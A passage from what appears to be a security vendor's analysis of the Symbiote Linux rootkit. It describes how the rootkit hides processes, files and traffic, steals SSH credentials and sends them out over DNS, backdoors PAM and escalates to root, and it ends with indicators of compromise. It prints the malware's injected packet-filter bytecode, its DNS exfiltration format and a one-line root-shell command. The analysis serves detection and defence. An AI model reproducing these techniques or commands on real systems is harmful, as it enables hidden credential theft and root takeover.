&lt;img src="https://research.intezer.com/blog/2022/06/new-linux-threat-symbiote/images/fig2.png" title="Figure 2: Logic for resolving readdir from libc." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 2: Logic for resolving readdir from libc.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;If the calling application is trying to access a file or folder under &lt;code&gt;/proc&lt;/code&gt;,
the malware scrubs the output from process names that are on its list. The
process names in the list below were extracted from the samples we have
discovered.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;certbotx64&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;certbotx86&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;javautils&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;javaserverx64&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;javaclientex64&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;javanodex86&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If the calling application is not trying to access something under &lt;code&gt;/proc&lt;/code&gt;, the
malware instead scrubs the result from a file list. The files extracted from
all the samples we examined are shown in the list below. Some of the file names
match those used by Symbiote, while others match names of files suspected to be
tools used by the threat actor on the infected machine. The list includes the
following files.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;apache2start&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;apache2stop&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;profiles.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;404erro.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;javaserverx64&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;javaclientex64&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;javanodex86&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;liblinux.so&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;java.h&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;open.h&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;mpt86.h&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sqlsearch.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;indexq.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;mt64.so&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;certbot.h&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cert.h&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;certbotx64&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;certbotx86&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;javautils&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;search.so&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;One consequence of Symbiote being loaded into processes via &lt;code&gt;LD_PRELOAD&lt;/code&gt; is
that tools like ldd, a utility that prints the shared libraries required by
each program, will list the malware as a loaded object. To counter this, the
malware hooks execve and looks for calls to this function with the environment
variable &lt;code&gt;LD_TRACE_LOADED_OBJECTS&lt;/code&gt; set to 1. To understand why, it&amp;rsquo;s worth
looking at the manual page for &lt;code&gt;ldd&lt;/code&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;In the usual case, ldd invokes the standard dynamic linker (see ld.so(8))
with the LD_TRACE_LOADED_OBJECTS environment variable set to 1. This causes
the dynamic linker to inspect the program&amp;rsquo;s dynamic dependencies, and find
(according to the rules described in ld.so(8)) and load the objects that
satisfy those dependencies. For each dependency, ldd displays the location of
the matching object and the (hexadecimal) address at which it is loaded. (The
linux-vdso and ld-linux shared dependencies are special; see vdso(7) and
ld.so(8).)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;When the malware detects this, it executes the loader as ldd does, but it
scrubs its own entry from the result.&lt;/p&gt;
&lt;h2&gt;Network Activity&lt;span class="hx:absolute hx:-mt-20" id="network-activity"&gt;&lt;/span&gt;
&lt;a href="#network-activity" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Symbiote also has functionality to hide network activity on the infected
machine. It uses three different methods to accomplish this. The first method
involves hooking &lt;code&gt;fopen&lt;/code&gt; and &lt;code&gt;fopen64&lt;/code&gt;. If the calling application tries to
open &lt;code&gt;/proc/net/tcp&lt;/code&gt;, the malware creates a temp file and copies the first line
to that file. After that, it scans each line for the presence of specific
ports. If the malware finds a port it&amp;rsquo;s searching for on a line it&amp;rsquo;s scanning,
it skips to the next line. Otherwise, the line is written to the temp file.
Once the original file has been completely processed, the malware closes the
file and returns the file descriptor of the temp file back to the caller.
Essentially, this gives the calling process a scrubbed result, which excludes
all entries of the network connections that the malware wants to hide.&lt;/p&gt;
&lt;p&gt;The second method Symbiote uses to hide its network activity is by hijacking
any injected packet filtering bytecode. The Linux kernel
&lt;a href="https://www.kernel.org/doc/html/latest/networking/filter.html"target="_blank" rel="noopener"&gt;uses extended Berkeley Packet Filter&lt;/a&gt;
(eBPF) to allow packet filtering based on rules provided from a userland
process. The filtering rule is provided as eBPF bytecode that the kernel
executes on a virtual machine (VM). This minimizes the context switching
between kernel and userland, providing a performance boost since the kernel
performs the filtering directly.&lt;/p&gt;
&lt;p&gt;If an application on the infected machine tries to perform packet filtering
with eBPF, Symbiote hijacks the filtering process. First, it hooks the &lt;code&gt;libc&lt;/code&gt;
function &lt;code&gt;setsockopt&lt;/code&gt;. If the function is called with the option
&lt;code&gt;SO_ATTACH_FILTER&lt;/code&gt;, which is used to perform packet filtering on a socket, it
prepends its own bytecode before the eBPF code provided by the calling
application.&lt;/p&gt;
&lt;p&gt;Code Snippet 1 shows an annotated version of the bytecode injected by one of
the Symbiote samples. The bytecode &amp;ldquo;drops&amp;rdquo; if they match the following
conditions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;IPv6 (TCP or SCTP) and src port (43253 or 43753 or 63424 or 26424)&lt;/li&gt;
&lt;li&gt;IPv6 (TCP or SCTP) and dst port 43253&lt;/li&gt;
&lt;li&gt;IPv4 (TCP or SCTP) and src port (43253 or 43753 or 63424 or 26424)&lt;/li&gt;
&lt;li&gt;IPv4 (TCP or SCTP) and dst port (43253 or 43753 or 63424 or 26424)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;While this bytecode only drops packets based on ports, we have also observed
filtering of traffic based on IPv4 addresses. In all cases, the filtering
operates on both inbound and outbound traffic from the machine, to hide both
directions of the traffic. If the conditions are not met, it just jumps to the
start of the bytecode provided by the calling application.&lt;/p&gt;
&lt;p&gt;The bytecode extracted from one of the samples, as shown in Code Snippet 1,
consists of 32 instructions. This code can&amp;rsquo;t be injected into the kernel on its
own, because it assumes that more bytecode exists after it. There are a few
jumps in this bytecode that skip to the beginning of the bytecode provided by
the calling process. Without the caller&amp;rsquo;s bytecode, the injected bytecode would
jump out-of-bounds, which is not allowed by the kernel. Bytecode like this
either has to be handwritten or by patching compiler generated-bytecode. Either
option suggests that this malware was written by a skilled developer.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;; Load Ether frame type from the packet.
0x00: 0x28 0x00 0x00 0x000c ldabsh 0xc
; Jump if it&amp;#39;s not IPv6 (0x86DD)
0x01: 0x15 0x00 0x0b 0x86dd jeq r0, 0x86dd, &amp;#43;0, &amp;#43;0x0b (jump to 0xd)
; Load IPv6 next header into register.
0x02: 0x30 0x00 0x00 0x0014 ldabsb 0x14
; Short jump if SCTP
0x03: 0x15 0x02 0x00 0x0084 jeq r0, 0x84, &amp;#43;0x2 (jump to 0x6) ; SCTP
; Short jump if TCP
0x04: 0x15 0x01 0x00 0x0006 jeq r0, 0x6, &amp;#43;0x1 (jump to 0x6) ; TCP
; Jump to original byte code if UDP
0x05: 0x15 0x00 0x1a 0x0011 jeq r0, 0x11, &amp;#43;0x1a (jump to 0x20) ; UDP
; Load TCP src port into register.
0x06: 0x28 0x00 0x00 0x0036 ldabsh 0x36
; Jump to drop the packet if port 43253.
0x07: 0x15 0x17 0x00 0xa8f5 jeq r0, 0xa8f5, &amp;#43;0x17 (jump to 0x1f) ; 43253
; Jump to drop the packet if port 43753.
0x08: 0x15 0x16 0x00 0xaae9 jeq r0, 0xaae9, &amp;#43;0x16 (jump to 0x1f) ; 43753
; Jump to drop the packet if port 63424.
0x09: 0x15 0x15 0x00 0xf7c0 jeq r0, 0xf7c0, &amp;#43;0x15 (jump to 0x1f) ; 63424
; Jump to drop the packet if port 26424.
0x0a: 0x15 0x14 0x00 0x6738 jeq r0, 0x6738, &amp;#43;0x14 (jump to 0x1f) ; 26424
; Load TCP dst port into register.
0x0b: 0x28 0x00 0x00 0x0038 ldabsh 0x38
; Jump to drop packet if port 43253 else jump to 0x1c.
0x0c: 0x15 0x12 0x0f 0xa8f5 jeq r0, 0xa8f5, &amp;#43;0xf12 (jump to 0x1f) (jump to 0x1c) ; 43253
; Ether frame type check for IPv4 (0x0800)
0x0d: 0x15 0x00 0x12 0x0800 jeq r0, 0x800, &amp;#43;0x1200 (jump to 0x20)
; Load IPv4 next header field into register.
0x0e: 0x30 0x00 0x00 0x0017 ldabsb 0x17
; Short jump if SCTP.
0x0f: 0x15 0x02 0x00 0x0084 jeq r0, 0x84, &amp;#43;0x2 (jump to 0x12) ; SCTP
; Short jump if TCP.
0x10: 0x15 0x01 0x00 0x0006 jeq r0, 0x6, &amp;#43;0x1 (jump to 0x12) ; TCP
; Jump to original byte code if UDP.
0x11: 0x15 0x00 0x0e 0x0011 jeq r0, 0x11, &amp;#43;0xe00 (jump to 0x20) ; UDP
; Load IPv4 flag into register.
0x12: 0x28 0x00 0x00 0x0014 ldabsh 0x14
; Jump to original byte code if flags are set.
0x13: 0x45 0x0c 0x00 0x1fff jset r0, 0x1fff, &amp;#43;0xc (jump to 0x20)
; Load Internet Header Length into x.
0x14: 0xb1 0x00 0x00 0x000e ldxmsh 0x0e
; Load TCP src port into register.
0x15: 0x48 0x00 0x00 0x000e ldindh r0, 0xe
; Jump to drop the packet if port 43253.
0x16: 0x15 0x08 0x00 0xa8f5 jeq r0, 0xa8f5, &amp;#43;0x8 (jump to 0x1f) ; 43253
; Jump to drop the packet if port 43753.
0x17: 0x15 0x07 0x00 0xaae9 jeq r0, 0xaae9, &amp;#43;0x7 (jump to 0x1f) ; 43753
; Jump to drop the packet if port 63424.
0x18: 0x15 0x06 0x00 0xf7c0 jeq r0, 0xf7c0, &amp;#43;0x6 (jump to 0x1f) ; 63424
; Jump to drop the packet if port 26424.
0x19: 0x15 0x05 0x00 0x6738 jeq r0, 0x6738, &amp;#43;0x5 (jump to 0x1f) ; 26424
; Load TCP dst port into register.
0x1a: 0x48 0x00 0x00 0x0010 ldindh r0, 0x10
; Jump to drop the packet if port 43253.
0x1b: 0x15 0x03 0x00 0xa8f5 jeq r0, 0xa8f5, &amp;#43;0x3 (jump to 0x1f) ; 43253
; Jump to drop the packet if port 43753.
0x1c: 0x15 0x02 0x00 0xaae9 jeq r0, 0xaae9, &amp;#43;0x2 (jump to 0x1f) ; 43753
; Jump to drop the packet if port 63424.
0x1d: 0x15 0x01 0x00 0xf7c0 jeq r0, 0xf7c0, &amp;#43;0x1 (jump to 0x1f) ; 63424
; Jump to drop packet if true otherwise jump to original byte code.
0x1e: 0x15 0x00 0x01 0x6738 jeq r0, 0x6738, &amp;#43;0x100 (jump to 0x20); 26424
; Drop packet by returning 0.
0x1f: 0x06 0x00 0x00 0x0000 ret 0
0x20: // Original byte code.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Code Snippet 1: Annotated bytecode extracted from one of the Symbiote samples.&lt;/p&gt;
&lt;p&gt;The third method Symbiote uses to hide its network traffic is to hook &lt;code&gt;libpcap&lt;/code&gt;
functions. This method is used by the malware to filter out UDP traffic to
domain names it has in a list. It hooks the functions &lt;code&gt;pcap_loop&lt;/code&gt; and
&lt;code&gt;pcap_stats&lt;/code&gt; to accomplish this task. For each packet that is received,
Symbiote checks the UDP payload for substrings of the domains it wants to
filter out. If it finds a match, the malware ignores the packet and increments
a counter. The &lt;code&gt;pcap_stats&lt;/code&gt; uses this counter to &amp;ldquo;correct&amp;rdquo; the number of
packets processed by subtracting the counter value from the true number of
packets processed. If a packet payload does not contain any of the strings it
has in its list, the original callback function is called. This method is used
to filter out UDP packets, while the bytecode method is used to filter out TCP
packets. By using all three of these methods, the malware ensures that all
traffic is hidden.&lt;/p&gt;
&lt;h2&gt;Symbiote Objectives&lt;span class="hx:absolute hx:-mt-20" id="symbiote-objectives"&gt;&lt;/span&gt;
&lt;a href="#symbiote-objectives" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The malware&amp;rsquo;s objective, in addition to hiding malicious activity on the
machine, is to harvest credentials and to provide remote access for the threat
actor. The credential harvesting is performed by hooking the &lt;code&gt;libc&lt;/code&gt; &lt;code&gt;read&lt;/code&gt;
function. If an &lt;code&gt;ssh&lt;/code&gt; or &lt;code&gt;scp&lt;/code&gt; process is calling the function, it captures the
credentials. The credentials are first encrypted with RC4 using an embedded
key, and then written to a file. For example, one of the versions of the
malware writes the captured credentials to the file &lt;code&gt;/usr/include/certbot.h&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;In addition to storing the credentials locally, the credentials are
exfiltrated. The data is hex encoded and chunked up to be exfiltrated via DNS
address (A) record requests to a domain name controlled by the threat actor.
The A record request has the following format:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;%PACKET_NUMBER%.%MACHINE_ID%.%HEX_ENC_PAYLOAD%.%DOMAIN_NAME%&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Code Snippet 2: Structure of DNS request used by Symbiote to exfiltrate data.&lt;/p&gt;
&lt;p&gt;The malware checks if the machine has a nameserver configured in
&lt;code&gt;/etc/resolv.conf&lt;/code&gt;. If it doesn&amp;rsquo;t, Google&amp;rsquo;s DNS (8.8.8.8) is used. Along with
sending the request to the domain name, Symbiote also sends it as a UDP
broadcast.&lt;/p&gt;
&lt;p&gt;Remote access to the infected machine is achieved by hooking a few Linux
Pluggable Authentication Module (PAM) functions. When a service tries to use
PAM to authenticate a user, the malware checks the provided password against a
hardcoded password. If the password provided is a match, the hooked function
returns a success response. Since the hooks are in PAM, it allows the threat
actor to authenticate to the machine with any service that uses PAM. This
includes remote services such as
&lt;a href="https://www.openssh.com/"target="_blank" rel="noopener"&gt;Secure Shell (SSH)&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If the entered password does not match the hardcoded password, the malware
saves and exfiltrates it as part of its keylogging functionality. Additionally,
the malware sends a DNS TXT record request to its command-and-control (C2)
domain. The TXT record has the format of &lt;code&gt;%MACHINEID%.%C2_DOMAIN%&lt;/code&gt;. If it gets
a response, the malware base64 decodes the content, checks if the content has
been signed by a correct ed25519 private key, decrypts the content with RC4,
and executes the shell script in a spawned bash process. This functionality can
operate as a break-glass method for regaining access to the machine in case the
normal process doesn&amp;rsquo;t work.&lt;/p&gt;
&lt;p&gt;Once the threat actor has authenticated to the infected machine, Symbiote
provides functionality to gain root privileges. When the shared object is first
loaded, it checks for the environment variable &lt;code&gt;HTTP_SETTHIS&lt;/code&gt;. If the variable
is set with content, the malware changes the effective user and group ID to the
root user, and then clears the variable before executing the content via the
system command.&lt;/p&gt;
&lt;p&gt;This process requires that the SO has the
&lt;a href="https://linux.die.net/man/1/chmod"target="_blank" rel="noopener"&gt;setuid permission&lt;/a&gt; flag set. Once the
system command has exited, Symbiote also exits the process, to prevent the
original process from executing. Figure 3 below shows the code executed. This
allows for spawning a root shell by running
&lt;code&gt;HTTP_SETTHIS=&amp;quot;/bin/bash -p&amp;quot; /bin/true&lt;/code&gt; as any user in a shell.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/06/new-linux-threat-symbiote/images/fig3.png" title="Figure 3: Logic used to execute a command with root privileges." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 3: Logic used to execute a command with root privileges.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Network Infrastructure&lt;span class="hx:absolute hx:-mt-20" id="network-infrastructure"&gt;&lt;/span&gt;
&lt;a href="#network-infrastructure" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The domain names used by the Symbiote malware are impersonating some major
Brazilian banks. This suggests that these banks or their customers are the
potential targets. Using the domain names utilized by the malware, we managed
to uncover a related sample that was uploaded to VirusTotal with the name
certbotx64. This file name matches one of those listed as a file to hide in one
of the Symbiote samples we originally obtained. The file was identified as an
open-source DNS tunneling tool called
&lt;a href="https://github.com/iagox86/dnscat2"target="_blank" rel="noopener"&gt;dnscat2&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The sample had a configuration in the binary that used the
&lt;code&gt;git[.]bancodobrasil[.]dev&lt;/code&gt; domain as its C2 server. During the months of
February and March, this domain name resolved to an IP address that is linked
to Njalla&amp;rsquo;s Virtual Private Server (VPS) service. Passive DNS records showed
that the same IP address was resolved to &lt;code&gt;ns1[.]cintepol[.]link&lt;/code&gt; and
&lt;code&gt;ns2[.]cintepol[.]link&lt;/code&gt; a few months earlier. Cintepol is an
&lt;a href="http://www.seplag.mt.gov.br/index.php?pg=ver&amp;amp;id=300&amp;amp;c=38"target="_blank" rel="noopener"&gt;intelligence portal&lt;/a&gt;
provided by the Federal Police of Brazil. The portal allows police officers to
access different databases provided by the federal police as part of their
investigations. The nameserver used for this impersonating domain name was
active from the middle of December 2021 to the end of January 2022.&lt;/p&gt;
&lt;p&gt;Also starting in February of 2022, the name servers for the domain &lt;code&gt;caixa[.]wf&lt;/code&gt;
were pointing to another Njalla VPS IP. Figure 4 below shows a timeline of
these events. In addition to the network infrastructure, the timestamps of when
the files were submitted to VirusTotal are included. These three Symbiote
samples were uploaded by the same submitter from Brazil. It appears that the
files were submitted to VirusTotal before the infrastructure went online.&lt;/p&gt;
&lt;p&gt;Given that these files were submitted to VirusTotal prior to the infrastructure
going online, and because some of the samples included rules to hide local IP
addresses, it is possible that the samples were submitted to VirusTotal to test
Antivirus detection before being used. Additionally, a version that appears to
be under development was submitted at the end of November from Brazil, further
suggesting VirusTotal was being used by the threat actor or group behind
Symbiote for detection testing.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/06/new-linux-threat-symbiote/images/fig4.png" title="Figure 4: Timeline showing when files were submitted to VirusTotal and when network infrastructure went active." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 4: Timeline showing when files were submitted to VirusTotal and when network infrastructure went active.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Similarity to Other Malware&lt;span class="hx:absolute hx:-mt-20" id="similarity-to-other-malware"&gt;&lt;/span&gt;
&lt;a href="#similarity-to-other-malware" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Symbiote appears to be designed for both credential stealing and to provide
remote access to infected Linux servers. Symbiote is not the first Linux
malware developed for this goal. In 2014, ESET released an
&lt;a href="https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/"target="_blank" rel="noopener"&gt;in-depth analysis of Ebury&lt;/a&gt;,
an OpenSSH backdoor that also performs credential stealing. There are some
similarities in the techniques used by both malware families. Both use hooked
functions to capture credentials and exfiltrate the captured data as DNS
requests. However, the authentication method to the backdoor used by the two
malware families is different. When we first analyzed the samples with Intezer
Analyze, only unique code was detected (Figure 5). As no code is shared between
Symbiote and Ebury/Windigo or any other known malware, we can confidently
conclude that Symbiote is a new, undiscovered Linux malware.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/06/new-linux-threat-symbiote/images/fig5.png" title="Figure 5: Intezer analysis of a Symbiote sample showing only genes classified as Symbiote." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 5: Intezer analysis of a Symbiote sample showing only genes classified as Symbiote.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;span class="hx:absolute hx:-mt-20" id="conclusion"&gt;&lt;/span&gt;
&lt;a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Symbiote is a malware that is highly evasive. Its main objective is to capture
credentials and to facilitate backdoor access to infected machines. Since the
malware operates as a userland level rootkit, detecting an infection may be
difficult. Network telemetry can be used to detect anomalous DNS requests and
security tools such as antivirus (AVs) and endpoint detection and response
(EDRs) should be statically linked to ensure they are not &amp;ldquo;infected&amp;rdquo; by
userland rootkits.&lt;/p&gt;
&lt;h2&gt;Indicators of Compromise (IoCs)&lt;span class="hx:absolute hx:-mt-20" id="indicators-of-compromise-iocs"&gt;&lt;/span&gt;
&lt;a href="#indicators-of-compromise-iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;Hashes&lt;span class="hx:absolute hx:-mt-20" id="hashes"&gt;&lt;/span&gt;
&lt;a href="#hashes" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;Hash Notes
121157e0fcb728eb8a23b55457e89d45d76aa3b7d01d3d49105890a00662c924 &amp;#34;kerneldev.so.bkp.&amp;#34; Appears to be an early development build.
f55af21f69a183fb8550ac60f392b05df14aa01d7ffe9f28bc48a118dc110b4c &amp;#34;mt64_.so.&amp;#34; Missing credential exfiltration over DNS.
ec67bbdf55d3679fca72d3c814186ff4646dd779a862999c82c6faa8e6615180 &amp;#34;search.so.&amp;#34; First sample with credential exfiltration of DNS.
a0cd554c35dee3fed3d1607dc18debd1296faaee29b5bd77ff83ab6956a6f9d6 &amp;#34;liblinux.so.&amp;#34;
45eacba032367db7f3b031e5d9df10b30d01664f24da6847322f6af1fd8e7f01 &amp;#34;certbotx64.&amp;#34; dnscat2 &lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;Ports Hidden&lt;span class="hx:absolute hx:-mt-20" id="ports-hidden"&gt;&lt;/span&gt;
&lt;a href="#ports-hidden" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;45345
34535
64543
24645
47623
62537
43253
43753
63424
26424&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;Domains Hidden&lt;span class="hx:absolute hx:-mt-20" id="domains-hidden"&gt;&lt;/span&gt;
&lt;a href="#domains-hidden" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;assets[.]fans
caixa[.]cx
dpf[.]fm
bancodobrasil[.]dev
cctdcapllx0520
cctdcapllx0520[.]df[.]caixa
webfirewall[.]caixa[.]wf
caixa[.]wf&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;Process Names Hidden&lt;span class="hx:absolute hx:-mt-20" id="process-names-hidden"&gt;&lt;/span&gt;
&lt;a href="#process-names-hidden" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;javaserverx64
javaclientex64
javanodex86
apache2start
apache2stop
[watchdog/0]
certbotx64
certbotx86
